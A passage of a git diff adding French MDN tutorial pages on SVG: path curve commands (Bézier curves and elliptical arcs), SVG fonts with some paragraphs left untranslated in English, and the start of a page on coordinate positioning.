+  &lt;path d="M70 110 C 70 140, 110 140, 110 110" stroke="black" fill="transparent"/&gt;
+  &lt;path d="M130 110 C 120 140, 180 140, 170 110" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>L’exemple ci-dessus crée neuf courbes de Bézier cubiques. De gauche à droite, les points de contrôle sont de plus en plus espacés horizontalement. De haut en bas, ils sont de plus en plus éloignés des extrémités. La chose à remarquer ici est que la courbe commence dans la direction du premier point de contrôle, puis se courbe de manière à terminer le long de la direction du second point de contrôle.</p>
+
+<h3 id="Shorthand_CurveTo">Shorthand CurveTo</h3>
+
+<p>Vous pouvez lier ensemble plusieurs courbes de Bézier pour créer des formes harmonieuses étendues. Souvent, le point de contrôle d’un côté d’une extrémité sera une réflexion du point de contrôle utilisé de l’autre côté, afin de garder une pente constante. Dans ce cas, vous pouvez utiliser une version raccourcie de la courbe cubique, désignée par la commande <code>S</code>, ou <code>s</code> (<em>Shorthand CuveTo</em>).</p>
+
+<pre>S x2 y2, x y (ou s dx2 dy2, dx dy)
+</pre>
+
+<p><code>S</code> dessine une courbe de Bézier cubique entre le point actuel et (x, y).</p>
+
+<ul>
+ <li>Si elle suit une autre commande <code>S</code> ou <code>C</code>, le premier point de contrôle est calculé pour être le reflet du point de contrôle précédent.</li>
+ <li>Si la commande <code>S</code> ne suit pas une autre commande <code>S</code> ou <code>C</code>, la position actuelle du curseur est utilisée comme premier point de contrôle. Dans ce cas, le résultat est le même que ce que la commande <code>Q</code> aurait produit avec les mêmes paramètres.</li>
+</ul>
+
+<p>(x2, y2) est le second point de contrôle.</p>
+
+<p>Un exemple de cette syntaxe est montré ci-dessous. Dans la figure associée, les points de contrôle spécifiés sont indiqués en rouge, et le point de contrôle inféré, en bleu.</p>
+
+<p><img alt="ShortCut_Cubic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10405/ShortCut_Cubic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 C 40 10, 65 10, 95 80 S 150 150, 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Quadratic_Bezier_CurveTo">Quadratic Bezier CurveTo</h3>
+
+<p>L’autre type de courbe, la courbe de Bézier quadratique, est invoquée avec <code>Q</code> (<em>Quadratic Bezier CurveTo</em>). Elle est plus simple que la version cubique puisqu'elle ne nécessite qu'un point de contrôle. Le point de contrôle détermine la pente de la courbe à la fois au point de départ et au point d’arrivée.</p>
+
+<pre>Q x1 y1, x y (ou q dx1 dy1, dx dy)
+</pre>
+
+<p>(x1 y1) est la position du point de contrôle, et (x y) est le point d’arrivée de la courbe.</p>
+
+<p><img alt="Quadratic Bézier with grid" class="internal" src="https://mdn.mozillademos.org/files/10403/Quadratic_Bezier_with_grid.png" style="float: right; height: 160px; width: 190px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="Shorthand_Quadratic_Bezier_CurveTo">Shorthand Quadratic Bezier CurveTo</h3>
+
+<p>Comme pour la courbe cubique, il existe un raccourci pour lier ensemble plusieurs courbes quadratiques, invoqué avec <code>T</code> (<em>Shorthand Quadratic Bezier CuveTo</em>).</p>
+
+<pre>T x y (ou t dx dy)
+</pre>
+
+<p>Ce raccourci examine le précédent point de contrôle utilisé et en infère un nouveau à partir de celui-ci. Cela signifie qu’après un premier point de contrôle, vous pouvez créer des formes assez complexes en spécifiant seulement les points d’extrémités.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Ce raccourci fonctionne uniquement si la commande précédente est une commande <code>Q</code> ou <code>T</code>. Dans le cas contraire, le point de contrôle est considéré comme le même que le point précédent, et vous ne dessinerez que des lignes.</p>
+</div>
+
+<p><img alt="Shortcut_Quadratic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10407/Shortcut_Quadratic_Bezier_with_grid.png" style="float: right; height: 158px; width: 188px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>Les deux courbes produisent des résultats similaires, bien que les courbes cubiques vous offrent une plus grande liberté dans l’apparence exacte que vous voulez donner à votre courbe. Le choix du type de courbe de Bézier à utiliser se fait au cas par cas, et dépend du nombre de symétries que présente votre ligne.</p>
+
+<h3 id="Arcs" name="Arcs">Elliptical Arc</h3>
+
+<p>Le dernier type de ligne courbe que vous pouvez créer avec SVG est l’arc, invoqué avec <code>A</code> (<em>Elliptical Arc</em>). Les arcs sont des sections de cercles ou d’ellipses.</p>
+
+<p>L'élément arc part du point actuel vers le point d'arrivée (x, y) en parcourant la ligne le long d'une ellipse définie par <code>rx</code> et <code>ry</code>. Le centre de l'ellipse (cx, cy) est calculé automatiquement pour satisfaire les contraintes imposées par les autres paramètres. Si vous avez besoin d'un rappel sur les ellipses, voyez les <a href="/fr/docs/Web/SVG/Tutoriel/Formes_de_base#Ellipses">formes de base</a>. Ensemble, ces quatre valeurs définissent la structure de base de l’arc.</p>
+
+<pre>A rx ry x-axis-rotation large-arc-flag sweep-flag x y
+a rx ry x-axis-rotation large-arc-flag sweep-flag dx dy
+</pre>
+
+<h4 id="x-axis-rotation">x-axis-rotation</h4>
+
+<p><code>x-axis-rotation</code> décrit la rotation de l’arc. Il s’explique plus facilement avec un exemple:</p>
+
+<p><img alt="SVGArcs_XAxisRotation_with_grid" class="internal" src="https://mdn.mozillademos.org/files/10409/SVGArcs_XAxisRotation_with_grid.png" style="float: right; height: 201px; width: 200px;"></p>
+
+<pre class="brush: xml">&lt;svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;line x1="10" y1="315" x2="315" y2="10" stroke="black" stroke-width="2" /&gt;
+
+  &lt;path d="M110 215       a 30 50   0 0 1 52.55 -52.45" fill="#7FBF7F" stroke="black" stroke-width="2" /&gt;
+  &lt;path d="M172.55 152.45 a 30 50 -45 0 1 42.55 -42.55" fill="#7FBF7F" stroke="black" stroke-width="2" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Cet exemple montre deux arcs elliptiques de rayon <code>dx</code> 30 et rayon <code>dy</code> 50.</p>
+
+<ul>
+ <li>Pour le premier arc, le paramètre <code>x-axis-rotation</code> a été laissé à 0, et l’ellipse autour de laquelle passe l’arc (montrée en gris) est orientée verticalement.</li>
+ <li>Pour le second arc en revanche, <code>x-axis-rotation</code> est passé à -45 degrés. Cela pivote l’ellipse, de telle sorte que son petit axe (dy) est aligné avec la direction du chemin, comme illustré par la seconde ellipse dans l’image.</li>
+</ul>
+
+<h4 id="sweep-flag">sweep-flag</h4>
+
+<p>Pour un rayon <code>rx</code> et un rayon <code>ry</code> donnés, il existe deux ellipses pouvant connecter deux points quelconques.</p>
+
+<p><code>sweep-flag</code> détermine si l’arc doit commencer son mouvement à un angle négatif ou positif, permettant ainsi de choisir lequel des deux cercles est parcouru.</p>
+
+<pre class="brush: html">&lt;!-- sweep-flag: 0 --&gt;
+&lt;path d="M 125,75 a100,50 0 0,0 100,50"
+      stroke="red" stroke-width="6" fill="none" /&gt;
+
+&lt;!-- sweep-flag: 1 --&gt;
+&lt;path d="M 125,75 a100,50 0 0,1 100,50"
+      stroke="blue" stroke-width="6" fill="none" /&gt;
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;svg width="350" viewBox="0 0 350 200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;g font-family="Verdana" font-size="13" &gt;
+    &lt;ellipse cx="125" cy="125" rx="100" ry="50"
+             fill="none" stroke="#888888" stroke-width="2" /&gt;
+    &lt;ellipse cx="225" cy="75" rx="100" ry="50"
+             fill="none" stroke="#888888" stroke-width="2" /&gt;
+    &lt;text x="120" y="70" text-anchor="end"&gt;Arc start&lt;/text&gt;
+    &lt;text x="230" y="140"&gt;Arc end&lt;/text&gt;
+  &lt;/g&gt;
+
+  &lt;!-- large-arc-flag: 0 --&gt;
+  &lt;path d="M 125,75 a100,50 0 0,0 100,50"
+        stroke="red" stroke-width="6" fill="none" /&gt;
+
+  &lt;!-- large-arc-flag: 1 --&gt;
+  &lt;path d="M 125,75 a100,50 0 0,1 100,50"
+        stroke="blue" stroke-width="6" fill="none" /&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 200) }}</p>
+
+<h4 id="large-arc-flag">large-arc-flag</h4>
+
+<p>Pour chacune des deux ellipses, il existe deux chemins possibles, ce qui donne quatre chemins possibles.</p>
+
+<p><code>large-arc-flag</code> détermine simplement si l’arc doit être supérieur ou inférieur à 180 degrés ; au final, il détermine dans quelle direction l’arc va parcourir une ellipse donnée.</p>
+
+<pre class="brush: html">&lt;!-- large-arc-flag: 0 --&gt;
+&lt;path d="M 125,75 a100,50 0 0,0 100,50"
+      stroke="red" stroke-width="6" fill="none" /&gt;
+
+&lt;!-- large-arc-flag: 1 --&gt;
+&lt;path d="M 125,75 a100,50 0 1,0 100,50"
+      stroke="blue" stroke-width="6" fill="none" /&gt;
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code_2" name="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;svg width="350" viewBox="0 0 350 200" xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;g font-family="Verdana" font-size="13" &gt;
+    &lt;ellipse cx="125" cy="125" rx="100" ry="50"
+             fill="none" stroke="#888888" stroke-width="2" /&gt;
+    &lt;ellipse cx="225" cy="75" rx="100" ry="50"
+             fill="none" stroke="#888888" stroke-width="2" /&gt;
+    &lt;text x="120" y="70" text-anchor="end"&gt;Arc start&lt;/text&gt;
+    &lt;text x="230" y="140"&gt;Arc end&lt;/text&gt;
+  &lt;/g&gt;
+
+  &lt;!-- sweep-flag: 0 --&gt;
+  &lt;path d="M 125,75 a100,50 0 0,0 100,50"
+        stroke="red" stroke-width="6" fill="none" /&gt;
+
+  &lt;!-- sweep-flag: 1 --&gt;
+  &lt;path d="M 125,75 a100,50 0 1,0 100,50"
+        stroke="blue" stroke-width="6" fill="none" /&gt;
+&lt;/svg&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 200) }}</p>
+
+<p>L’exemple ci-dessous montre les quatre combinaisons possibles avec <code>sweep-flag</code> et <code>large-arc-flag</code>:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/345/=SVGArcs_Flags.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="325" height="325" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path d="M80 80
+           A 45 45, 0, 0, 0, 125 125
+           L 125 80 Z" fill="green"/&gt;
+  &lt;path d="M230 80
+           A 45 45, 0, 1, 0, 275 125
+           L 275 80 Z" fill="red"/&gt;
+  &lt;path d="M80 230
+           A 45 45, 0, 0, 1, 125 275
+           L 125 230 Z" fill="purple"/&gt;
+  &lt;path d="M230 230
+           A 45 45, 0, 1, 1, 275 275
+           L 275 230 Z" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>Les arcs sont un moyen facile de créer des portions de cercle ou d’ellipse dans vos dessins. Par exemple pour dessiner un graphique en camembert. Si vous êtes en train de migrer vers SVG depuis <a href="/fr/docs/Web/HTML/Canvas">Canvas</a>, les arcs peuvent être la partie la plus difficile à appréhender, mais sont également bien plus puissants.</p>
+
+<p>Comme les points de départ et d’arrivée de tout chemin parcourant un cercle sont confondus, un nombre infini de cercles peuvent être choisis, par conséquent le chemin est indéfini. Il est possible d’en faire une approximation en prenant des points de départ et d’arrivée légèrement décalés, puis de les connecter à l’aide d’un autre segment de chemin. Dans ces conditions, il est souvent plus facile d’utiliser un véritable élément cercle ou ellipse à la place.</p>
+
+<p>Vous pouvez trouver une démo interactive à l'adresse suivante, pour vous aider à comprendre les concepts derrière les arcs SVG: <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (testé avec Chrome et Firefox seulement, peut ne pas marcher avec votre navigateur).</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutoriel/Formes_de_base", "Web/SVG/Tutoriel/Fills_and_Strokes") }}</p>
diff --git a/files/fr/web/svg/tutoriel/polices_svg/index.html b/files/fr/web/svg/tutoriel/polices_svg/index.html
new file mode 100644
index 0000000000..4a196a3825
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/polices_svg/index.html
@@ -0,0 +1,106 @@
+---
+title: Polices SVG
+slug: Web/SVG/Tutoriel/polices_SVG
+tags:
+  - Police
+  - SVG
+  - font
+translation_of: Web/SVG/Tutorial/SVG_fonts
+---
+<p>{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}</p>
+
+<p>Lorsque SVG a été spécifié, le support des polices d'écriture pour le web n'était pas répandu dans les navigateurs. Comme l'accès au fichier de la police adéquate est cependant crucial pour afficher correctement le texte, une technologie de description des polices a été ajoutée à SVG pour offrir cette capacité. Elle n'a pas été conçue pour la compatibilité avec d'autres formats tels que le PostScript ou OTF, mais plutôt comme un moyen simple d'intégration des informations des glyphes en SVG lors de l'affichage.</p>
+
+<div class="note"><strong>Les Polices d'écritures SVG sont actuellement supportées uniquement sur Safari et le navigateur Android.</strong><br>
+Internet Explorer <a href="http://blogs.msdn.com/b/ie/archive/2010/08/04/html5-modernized-fourth-ie9-platform-preview-available-for-developers.aspx">n'a pas envisagé de les implémenter</a>, la fonctionnalité a été <a href="https://www.chromestatus.com/feature/5930075908210688">supprimée de Chrome 38</a> (et Opera 25) et Firefox a <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=119490" title="https://bugzilla.mozilla.org/show_bug.cgi?id=119490">reporté sa mise en œuvre indéfiniment</a> pour se concentrer sur <a href="/en/WOFF" title="en/About WOFF">WOFF</a>. Cependant, d'autres outils comme le plugin <a class="external" href="http://www.adobe.com/svg/viewer/install/" title="http://www.adobe.com/svg/viewer/install/">Adobe SVG Viewer</a>, Batik et des modèles de document d'Inkscape supportent l'incorporation des Police d'écriture SVG.</div>
+
+<p>La base pour définir une police SVG est l'élément {{ SVGElement("font") }}.</p>
+
+<h2 id="Définir_une_police">Définir une police</h2>
+
+<p>Quelques ingrédients sont nécessaires pour intégrer une police en SVG. Prenons un exemple de déclaration (celle <a class="external" href="http://www.w3.org/TR/SVG/fonts.html#FontElement" title="http://www.w3.org/TR/SVG/fonts.html#FontElement">de la spécification</a>), et expliquons-en les détails.</p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Font1<span class="punctuation token">"</span></span> <span class="attr-name token">horiz-adv-x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1000<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face</span> <span class="attr-name token">font-family</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans<span class="punctuation token">"</span></span> <span class="attr-name token">font-weight</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>bold<span class="punctuation token">"</span></span> <span class="attr-name token">font-</span><span class="language-css style-attr token"><span class="attr-name token"><span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token">normal</span><span class="punctuation token">"</span></span>
+      <span class="attr-name token">units-per-em</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>1000<span class="punctuation token">"</span></span> <span class="attr-name token">cap-height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>600<span class="punctuation token">"</span></span> <span class="attr-name token">x-height</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>400<span class="punctuation token">"</span></span>
+      <span class="attr-name token">ascent</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>700<span class="punctuation token">"</span></span> <span class="attr-name token">descent</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span>
+      <span class="attr-name token">alphabetic</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>0<span class="punctuation token">"</span></span> <span class="attr-name token">mathematical</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>350<span class="punctuation token">"</span></span> <span class="attr-name token">ideographic</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>400<span class="punctuation token">"</span></span> <span class="attr-name token">hanging</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>500<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face-src</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face-name</span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans Bold<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font-face-src</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font-face</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>missing-glyph</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>path</span> <span class="attr-name token">d</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>M0,0h200v200h-200z<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>missing-glyph</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>glyph</span> <span class="attr-name token">unicode</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>!<span class="punctuation token">"</span></span> <span class="attr-name token">horiz-adv-x</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>300<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="comment token">&lt;!-- Outline of exclam. pt. glyph --&gt;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>glyph</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>glyph</span> <span class="attr-name token">unicode</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>@<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="comment token">&lt;!-- Outline of @ glyph --&gt;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>glyph</span><span class="punctuation token">&gt;</span></span>
+  <span class="comment token">&lt;!-- more glyphs --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Nous commençons avec l'élement {{ SVGElement("font") }}. Il contient un attribut id, ce qui permet de le référencer via une URI (voir plus bas). L'attribut <code>horiz-adv-x</code> définit sa largeur moyenne, comparée aux définitions des autres glyphes individules. La valeur 1000 définit une valeur raisonnable. Plusieurs autres attributs associés précisent l'affichage de la boite qui encapsule le glyphe.</p>
+
+<p>L'élément  {{ SVGElement("font-face") }} est l'équivalent SVG de la déclaration CSS  <a href="https://developer.mozilla.org/en/CSS/@font-face" title="en/css/@font-face"><code>@font-face</code></a>. Il définit les propriétés de base de la police finale, telles que 'weight', 'style', etc. Dans l'exemple ci-dessus, la première et la plus importante est  <code>font-family</code> : Elle pourra alors être référencée via la propriété <code>font-family</code> présente dans les CSS et les SVG. Les attributs <code>font-weight</code> et <code>font-style</code> ont la même fonction que leurs équivalents CSS. Les attributs suivants sont des instructions de rendu, pour le moteur d'affichage des polices ; par exemple : quelle est la taille des jambages supérieurs des glyphes (<a class="external external-icon" href="http://en.wikipedia.org/wiki/Ascender_%28typography%29" title="http://en.wikipedia.org/wiki/Ascender_(typography)">ascenders</a>).</p>
+
+<p>Its child, the {{ SVGElement("font-face-src") }} element, corresponds to CSS' <code>src</code> descriptor in <code>@font-face</code> declarations. You can point to external sources for font declarations by means of its children {{ SVGElement("font-face-name") }} and {{ SVGElement("font-face-uri") }}. The above example states that if the renderer has a local font available named "Super Sans Bold", it should use this instead.</p>
+
+<p>Following {{ SVGElement("font-face-src") }} is a {{ SVGElement("missing-glyph") }} element. This defines what should be displayed if a certain glyph is not found in the font and if there are no fallback mechanisms. It also shows how glyphs are created: By simply adding any graphical SVG content inside. You can use literally any other SVG elements in here, even {{ SVGElement("filter") }}, {{ SVGElement("a") }} or {{ SVGElement("script") }}. For simple glyphs, however, you can simply add a <code>d</code> attribute — this defines a shape for the glyph exactly like how standard SVG paths work.</p>
+
+<p>The actual glyphs are then defined by {{ SVGElement("glyph") }} elements. The most important attribute is <code>unicode</code>. It defines the unicode codepoint represented by this glyph. If you also specify the {{htmlattrxref("lang")}} attribute on a glyph, you can further restrict it to certain languages (represented by <code>xml:lang</code> on the target) exclusively. Again, you can use arbitrary SVG to define the glyph, which allows for great effects in supporting user agents.</p>
+
+<p>There are two further elements that can be defined inside <code>font</code>: {{ SVGElement("hkern") }} and {{ SVGElement("vkern") }}. Each carries references to at least two characters (attributes <code>u1</code> and <code>u2</code>) and an attribute <code>k</code> that determines how much the distance between those characters should be decreased. The below example instructs user agents to place the "A" and "V" characters closer together the standard distance between characters.</p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>hkern</span> <span class="attr-name token">u1</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>A<span class="punctuation token">"</span></span> <span class="attr-name token">u2</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>V<span class="punctuation token">"</span></span> <span class="attr-name token">k</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>20<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span></code></pre>
+
+<h2 id="Référencer_une_police">Référencer une police</h2>
+
+<p>Lorsque vous avez mis en place votre déclaration de police comme décrit ci-dessus, vous pouvez utiliser un simple attribut <code>font-family</code> pour réellement appliquer la police à un texte SVG:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face</span> <span class="attr-name token">font-family</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+  <span class="comment token">&lt;!-- ... --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>text</span> <span class="attr-name token">font-family</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>My text uses Super Sans<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>text</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p>Cependant, vous êtes libre de combiner plusieurs méthodes pour une plus grande liberté de où et comment définir la police.</p>
+
+<h3 id="Option_Utiliser_le_CSS_font-face">Option: Utiliser le CSS @font-face</h3>
+
+<p> </p>
+
+<p>Vous pouvez utiliser <code>@font-face</code> pour les polices externes de référence :</p>
+
+<p> </p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super_Sans<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="comment token">&lt;!-- ... --&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>style</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/css<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="language-css style token">
+<span class="atrule token"><span class="rule token">@font-face</span></span> <span class="punctuation token">{</span>
+  <span class="property token">font-family</span><span class="punctuation token">:</span> <span class="string token">"Super Sans"</span><span class="punctuation token">;</span>
+  <span class="property token">src</span><span class="punctuation token">:</span> <span class="token url">url(#Super_Sans)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>style</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>text</span> <span class="attr-name token">font-family</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>My text uses Super Sans<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>text</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="Option_Référencer_une_police_externe">Option: Référencer une police externe</h3>
+
+<p> </p>
+
+<p>L'élément mentionné <code>font-face-uri</code> vous permet de référencer une police externe, permettant donc une plus grande réutilisabilité :</p>
+
+<p> </p>
+
+<pre class="line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face</span> <span class="attr-name token">font-family</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Super Sans<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face-src</span><span class="punctuation token">&gt;</span></span>
+      <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>font-face-uri</span> <span class="attr-name token"><span class="namespace token">xlink:</span>href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>fonts.svg#Super_Sans<span class="punctuation token">"</span></span> <span class="punctuation token">/&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font-face-src</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font-face</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>font</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<article class="approved">
+<div class="boxed translate-rendered text-content">
+<p>{{ PreviousNext("Web/SVG/Tutoriel/filtres","Web/SVG/Tutoriel/SVG_Image_Tag") }}</p>
+</div>
+</article>
diff --git a/files/fr/web/svg/tutoriel/positionnement/index.html b/files/fr/web/svg/tutoriel/positionnement/index.html
new file mode 100644
index 0000000000..7f23bfe123
--- /dev/null
+++ b/files/fr/web/svg/tutoriel/positionnement/index.html
@@ -0,0 +1,55 @@
+---
+title: Positionnement
+slug: Web/SVG/Tutoriel/Positionnement
+tags:
+  - Débutant
+  - SVG
+  - 'SVG:Tutoriel'
+translation_of: Web/SVG/Tutorial/Positions
+---
+<p>{{ PreviousNext("SVG/Tutoriel/Premiers_pas", "SVG/Tutoriel/Formes_de_base") }}</p>
+
+<h3 id="La_grille">La grille</h3>
+
+<p><img alt="" class="internal" src="/@api/deki/files/78/=Canvas_default_grid.png" style="float: right;">Pour chaque élément, SVG utilise un ensemble de coordonnées aussi appelé grille assez similaire à ce qui est utilisé dans <a href="/fr/HTML/Canvas" title="fr/HTML/Canvas">canvas</a> (et par tout un tas d'autres routines de dessin informatique). Dans le cas présent, le point en haut à gauche est considéré comme le point (0,0) ou point d'origine. Le positionnement est ensuite mesuré en pixel, depuis le coin supérieur gauche. Les valeurs positives de x vont vers la droite, les valeurs positives de y vont vers le bas. Notez que tout ceci est un peu contraire à la géométrie que l'on vous a enseignée. Ici, le positionnement fonctionne de la même manière que pour les éléments HTML.</p>
+
+<h4 id="Exemple">Exemple</h4>
+
+<pre>&lt;rect x="0" y="0" width="100" height="100" /&gt;
+</pre>
+
+<p>L'élément précédent définit un rectangle dans le coin supérieur gauche de l'écran, d'une taille de 100px par 100px.</p>
+
+<h3 id="Qu'est_ce_qu'un_pixel">Qu'est ce qu'un pixel ?</h3>
+
+<p>Dans le cas le plus basique, un pixel dans un document SVG correspond à un pixel du périphérique de sortie, à savoir l'écran. Mais le SVG ne serait pas "scalable", c'est-à-dire évolutif, s'il n'y avait qu'une seule possibilité de gérer ce comportement. Tout comme les tailles de police absolues et relatives en CSS, SVG peut définir des unités absolues (avec des identifiants dimensionnels comme le "pt" ou encore le "cm") ou encore des unités dites définies par l'utilisateur, qui ne disposent pas de ces identifiants et correspondent à des nombres ordinaires.</p>
+
